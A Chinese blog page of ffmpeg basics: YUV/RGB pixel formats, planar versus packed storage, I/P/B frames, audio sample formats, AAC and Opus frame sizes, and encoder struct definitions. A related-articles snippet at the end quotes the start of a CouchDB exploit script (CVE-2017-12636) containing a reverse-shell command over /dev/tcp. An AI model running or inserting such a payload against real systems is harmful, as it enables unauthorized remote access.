当前位置: 首页 > news >正文

[ffmpeg系列 02] 音视频基本知识

一 视频

RGB:
AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB…

Y:明亮度, Luminance或luma, 灰阶图,
UV:色度,Chrominance或Chroma。
YCbCr: Cb蓝色分量,Cr是红色分量。
取值范围:0-256。

I420(yuv420p):4:2:0, 宽高是4x4:YYYYYYYYYYYYYYYYUUUUVVVV。
YUV大小:宽*高*1.5,Y占大小:宽*高,U占大小:宽*高/4,UV一样大。

YUV拼接:
上下:
Y1…Y16Y1…Y16U1…U4U1…U4V1…V4V1…V4

左右:
Y1…Y4Y1…Y4(重复四个)U1U2U1U2(重复2个)V1V2V1V2(重复2个)

两种打包格式:
planar平面、packed。

AV_PIX_FMT_YUV420P, ///< planar YUV 4:2:0, 12bpp, (1 Cr & Cb sample per 2x2 Y samples)
data[0]–Y, data[1]–U, data[2]–V。

AV_PIX_FMT_YUYV422, ///< packed YUV 4:2:2, 16bpp, Y0 Cb Y1 Cr
data[0]–YYYYUUVV,

AV_PIX_FMT_NV12, ///< planar YUV 4:2:0, 12bpp, 1 plane for Y and 1 plane for the UV components,
which are interleaved (first byte U and the following byte V)
data[0] - Y, data[1] - packed UV(UVUV)

码率(视频质量差,可以提高码率试试)、
帧率、分辨率、

I帧、P帧、B帧区别:
I帧是帧内编码,能独立解码成功。
P帧是帧间编码,前向预测,依赖于I帧或前面的P帧。
B帧是帧间编码,双向预测,依赖于I帧或前面、后面的P帧。
播放带B帧的视频:需要把B帧后面的P帧解码了,再播放。
压缩比:B>P>I。

带B帧的解码显示顺序:

二 音频

AV_SAMPLE_FMT_S16, ///< signed 16 bits
AV_SAMPLE_FMT_FLTP, ///< float, planar
Planar(平面的,带P)是左右声道分开存储,左声道data[0],右声道data[1]。Ffmpeg内部存储使用的格式AV_SAMPLE_FMT_FLTP。
不带P,交错排序LRLR,data[0],比如S16。

比较常用的音频格式:mp3、AAC、opus。

编码AAC:比如S16,双通道,一帧PCM数据字节数:1024*2*2=4096字节。
AAC LOW–1024、mp3–1152。
编码前格式要求FLTP。
一帧AAC播放的时间:1024/48000=21.33333333ms。

opus支持AV_SAMPLE_FMT_S16, frame_size =960。

const AVCodec ff_aac_encoder = {
.name = “aac”,
.long_name = NULL_IF_CONFIG_SMALL(“AAC (Advanced Audio Coding)”),
.type = AVMEDIA_TYPE_AUDIO,
.id = AV_CODEC_ID_AAC,
.priv_data_size = sizeof(AACEncContext),
.init = aac_encode_init,
.encode2 = aac_encode_frame,
.close = aac_encode_end,
.defaults = aac_encode_defaults,
.supported_samplerates = mpeg4audio_sample_rates,
.caps_internal = FF_CODEC_CAP_INIT_THREADSAFE | FF_CODEC_CAP_INIT_CLEANUP,
.capabilities = AV_CODEC_CAP_SMALL_LAST_FRAME | AV_CODEC_CAP_DELAY,
.sample_fmts = (const enum AVSampleFormat[]){ AV_SAMPLE_FMT_FLTP,
AV_SAMPLE_FMT_NONE },
.priv_class = &aacenc_class,
};

const AVCodec ff_libfdk_aac_encoder = {
.name = “libfdk_aac”,
.long_name = NULL_IF_CONFIG_SMALL(“Fraunhofer FDK AAC”),
.type = AVMEDIA_TYPE_AUDIO,
.id = AV_CODEC_ID_AAC,
.priv_data_size = sizeof(AACContext),
.init = aac_encode_init,
.encode2 = aac_encode_frame,
.close = aac_encode_close,
.capabilities = AV_CODEC_CAP_SMALL_LAST_FRAME | AV_CODEC_CAP_DELAY,
.sample_fmts = (const enum AVSampleFormat[]){ AV_SAMPLE_FMT_S16,
AV_SAMPLE_FMT_NONE },
.priv_class = &aac_enc_class,
.defaults = aac_encode_defaults,
.profiles = profiles,
.supported_samplerates = aac_sample_rates,
.channel_layouts = aac_channel_layout,
.wrapper_name = “libfdk”,
};

const AVCodec ff_libopus_encoder = {
.name = “libopus”,
.long_name = NULL_IF_CONFIG_SMALL(“libopus Opus”),
.type = AVMEDIA_TYPE_AUDIO,
.id = AV_CODEC_ID_OPUS,
.priv_data_size = sizeof(LibopusEncContext),
.init = libopus_encode_init,
.encode2 = libopus_encode,
.close = libopus_encode_close,
.capabilities = AV_CODEC_CAP_DELAY | AV_CODEC_CAP_SMALL_LAST_FRAME,
.sample_fmts = (const enum AVSampleFormat[]){ AV_SAMPLE_FMT_S16,
AV_SAMPLE_FMT_FLT,
AV_SAMPLE_FMT_NONE },
.supported_samplerates = libopus_sample_rates,
.priv_class = &libopus_class,
.defaults = libopus_defaults,
.wrapper_name = “libopus”,
};

相关文章:

[ffmpeg系列 02] 音视频基本知识

一 视频 RGB&#xff1a; AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB… Y&#xff1a;明亮度, Luminance或luma, 灰阶图&#xff0c; UV&#xff1a;色度&#xff0c;Chrominance或Chroma。 YCbCr: Cb蓝色分量&#xff0c;Cr是红色分量。 取值范围&#xff…...

【ASP.NET Core 基础知识】--目录

介绍 1.1 什么是ASP.NET Core1.2 ASP.NET Core的优势1.3 ASP.NET Core的版本历史 环境设置 2.1 安装和配置.NET Core SDK2.2 使用IDE&#xff08;Integrated Development Environment&#xff09;&#xff1a;Visual Studio Code / Visual Studio 项目结构 3.1 ASP.NET Core项…...

java数据结构与算法刷题-----LeetCode509. 斐波那契数

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难&#xff0c;但它就是固定套路而已。其实动态规划只…...

vue3 element plus el-table封装(二)

上文是对el-table的基本封装&#xff0c;只能满足最简单的应用&#xff0c;本文主要是在上文的基础上增加slot插槽&#xff0c;并且对col插槽进行拓展&#xff0c;增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...

cnn lstm结合网络

目录 特征处理例子&#xff1a; cnn 5张图片一组&#xff0c;提取特征后&#xff0c;再给lstm&#xff0c;进时间序列分类。 特征处理例子&#xff1a; import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...

Ubuntu连接xshell

安装ssh服务器 sudo apt-get install openssh-server​ 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件&#xff0c;允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...

nginx安装和配置

目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...

【头歌实训】kafka-入门篇

文章目录 第1关&#xff1a;kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关&#xff1a;生产者 &#xff08;Producer &#xff09; - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...

华为云创新中心,引领浙南的数字化腾飞

编辑&#xff1a;阿冒 设计&#xff1a;沐由 县域经济是我国国民经济的重要组成部分&#xff0c;是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中&#xff0c;县域经济扮演的角色也越来越重要。 毫无疑问&#xff0c;县域经济的良性发展&#xff0c;需要多方…...

240101-5步MacOS自带软件无损快速导出iPhone照片

硬件准备&#xff1a; iphone手机Mac电脑数据线 操作步骤&#xff1a; Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3&#xff1a;iphone与电脑提示“是否授权“&#xff1f; >>> “是“Step 4&#xff1a;左上角选择自己的设…...

github鉴权失败

问题&#xff1a; 如上图所示 git push 时发生了报错&#xff0c;鉴权失败&#xff1b; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥&#xff0c;勾选repo栏&#xff0c;选择有效期&#xff0c;为密钥命…...

2023湾区产城创新大会:培育数字化供应链金融新时代

2023年12月26日&#xff0c;由南方报业传媒集团指导&#xff0c;南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表&#xff0c;以新兴产业发展为议题&#xff0c;…...

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 方法二&#xff1a;传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...

SQL之CASE WHEN用法详解

目录 一、简单CASE WHEN函数&#xff1a;二、CASE WHEN条件表达式函数三、常用场景 场景1&#xff1a;不同状态展示为不同的值场景2&#xff1a;统计不同状态下的值场景3&#xff1a;配合聚合函数做统计场景4&#xff1a;CASE WHEN中使用子查询场景5&#xff1a;经典行转列&am…...

Ubuntu 18.04搭建RISCV和QEMU环境

前言 因为公司项目代码需要在RISCV环境下测试&#xff0c;因为没有硬件实体&#xff0c;所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译&#xff0c;地址为&#xff1a;https://…...

立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法

近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...

VectorWorks各版本安装指南

VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...

【MySQL】数据库中为什么使用B+树不用B树

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; 数 据 库 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 B树的特点和应用场景&#xff1a; B树相对于B树的优势&#xff1a; 结论&#xff1a; 结语 我的其他博客 前言 在数据…...

微信小程序发送模板消息-详解【有图】

前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么&#xff0c;这只是前端的一个demo实现&#xff0c;建议大家在后端处理&#xff0c;前端具体实现&#xff1a;如下图 1.获取小程序Id和密钥 我们注册完微信小程序后&#xff0c;可以在开发设置中看到以下内容&a…...

Easy Rules规则引擎实战

文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts&#xff1a;map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule&#xff08;Spring的表达式注入&#xff09; 组合规则UnitRuleGroup 规则引…...

听GPT 讲Rust源代码--library/alloc(2)

File: rust/library/alloc/src/vec/mod.rs 在Rust源代码中&#xff0c;rust/library/alloc/src/vec/mod.rs这个文件是Rust标准库中的Vec类型的实现文件。Vec是一个动态大小的数组类型&#xff0c;在内存中以连续的方式存储其元素。 具体来说&#xff0c;mod.rs文件中定义了以下…...

OSG读取和添加节点学习

之前加载了一个模型&#xff0c;代码是&#xff0c; osg::Group* root new osg::Group(); osg::Node* node new osg::Node(); node osgDB::readNodeFile("tree.osg"); root->addChild(node); root是指向osg::Group的指针&#xff1b; node是 osg:…...

计算机网络技术--念念

选择题&#xff1a; 1.只要遵循GNU通用公共许可证,任何人和机构都可以自由修改和再发布的操作系统是&#xff08;Linux &#xff09; 2.在计算机网络的各种功能中,最基本的、为其他功能提供实现基础的是&#xff08;实现数据通信 &#xff09; 3.计算机网络具有分布式处理功能,…...

C#_var

文章目录 一、前言二、隐式类型的局部变量2.1 var和匿名类型2.2 批注 三、总结 一、前言 C#中有一个 var 类型&#xff0c;不管什么类型的变量&#xff0c;都可以用它接收&#xff0c;实属懒人最爱了。 我没有了解过它的底层&#xff0c;甚至没看过它的说明文档&#xff0c;也…...

Linux---进程控制

一、进程创建 fork函数 在Linux中fork函数是非常重要的函数&#xff0c;它从已存在进程中创建一个新进程&#xff0c;原进程为父进程 fork函数的功能&#xff1a; 分配新的内存和内核数据结构给子进程将父进程部分数据结构内容拷贝至子进程添加子进程到系统的进程列表中fork返…...

Java注解学习,一文掌握@Autowired 和 @Resource 注解区别

&#x1f3c6;作者简介&#xff0c;普修罗双战士&#xff0c;一直追求不断学习和成长&#xff0c;在技术的道路上持续探索和实践。 &#x1f3c6;多年互联网行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f389;欢迎 &#x1f44d;点赞✍评论…...

系列一、如何正确的获取Spring Cloud Alibaba Spring Cloud Spring Boot之间的版本对应关系

一、正确的获取Spring Cloud Alibaba & Spring Cloud & Spring Boot之间的版本对应关系 1.1、概述 Java发展日新月异&#xff0c;Spring Cloud Alibaba 、 Spring Cloud 、 Spring Boot在GitHub上的迭代也是异常的频繁&#xff0c;这也说明其社区很活跃&#xff0c;通…...

数据预处理:标准化和归一化

标准化和归一化简介 1、数据预处理概述2、数据标准化3、数据归一化4、标准化和归一化怎么选1、数据预处理概述 在选择了合适模型的前提下,机器学习可谓是“训练台上3分钟,数据数量和质量台下10年功”。数据的收集与准备是机器学习中的重要一步,是构建一个好的预测模型大厦的…...

江苏建设纸质考试网站/在线培训课程

首先关于生成器的那些事&#xff1a;1.通常的for…in…循环中&#xff0c;in后面是一个数组&#xff0c;这个数组就是一个可迭代对象&#xff0c;类似的还有链表&#xff0c;字符串&#xff0c;文件。它的缺陷是所有数据都在内存中&#xff0c;如果有海量数据的话将会非常耗内存…...

腾讯网站开发规范/站长网站提交

EEG 基础 脑电图&#xff08;Electroencephalogram,EEG&#xff09;是通过精密的电子仪器&#xff0c;从头皮上将脑部的自发性生物电位加以放大记录而获得的图形&#xff0c;是通过电极记录下来的脑细胞群的自发性、节律性电活动。有常规脑电图、动态脑电图监测、视频脑电图监…...

建国汽车网址大全/苏州seo快速优化

-----Java培训、Android培训、iOS培训、.Net培训、期待与您交流&#xff01;----- 一、protocol简单使用 1>基本用途 1.可用来声明方法。 2.只要某个类遵守了这个协议&#xff0c;就相当于拥有这个协议中的所有方法声明。 3.只要父类遵守了这个协议&#xff0c;就相当于子类…...

网站做推广需要什么条件/扶贫832网络销售平台

我的移动开发春季历程 没有稳定的工作&#xff0c;只有稳定的能力。 春天&#xff0c;又到了万物复苏的季节&#xff0c;在程序猿这个行当里&#xff0c;作为 Android 开发出生的我&#xff0c;在经历了5年的脱发生涯后&#xff0c;现在更多的是称呼自己为移动开发攻城狮。 学…...

展示型手机网站模板/资源搜索

• 描述使用ASM 的好处• 管理ASM 实例• 创建和删除ASM 磁盘组• 扩展ASM 磁盘组• 通过使用各种实用程序检索ASM 元数据Automatic Storage ManagementAutomatic Storage Management (ASM) 将文件系统与卷管理器纵向集成在一起&#xff0c;这是一项专门为Oracle DB 文件建立的…...

郑州网站优化汉狮/快速排名官网

题目链接: http://www.51nod.com/onlineJudge/user.html#!userId21687 题意: 中文题诶~ 思路: 本题就是个中国剩余定理模板题,不过模拟也可以过,而且时间复杂度嘛~ 我们可以知道gcd得出两个数的最大公约在最坏的情况下(a, b是相邻的两个斐波拉契数)是O(logn)的, 同理可以知道ex…...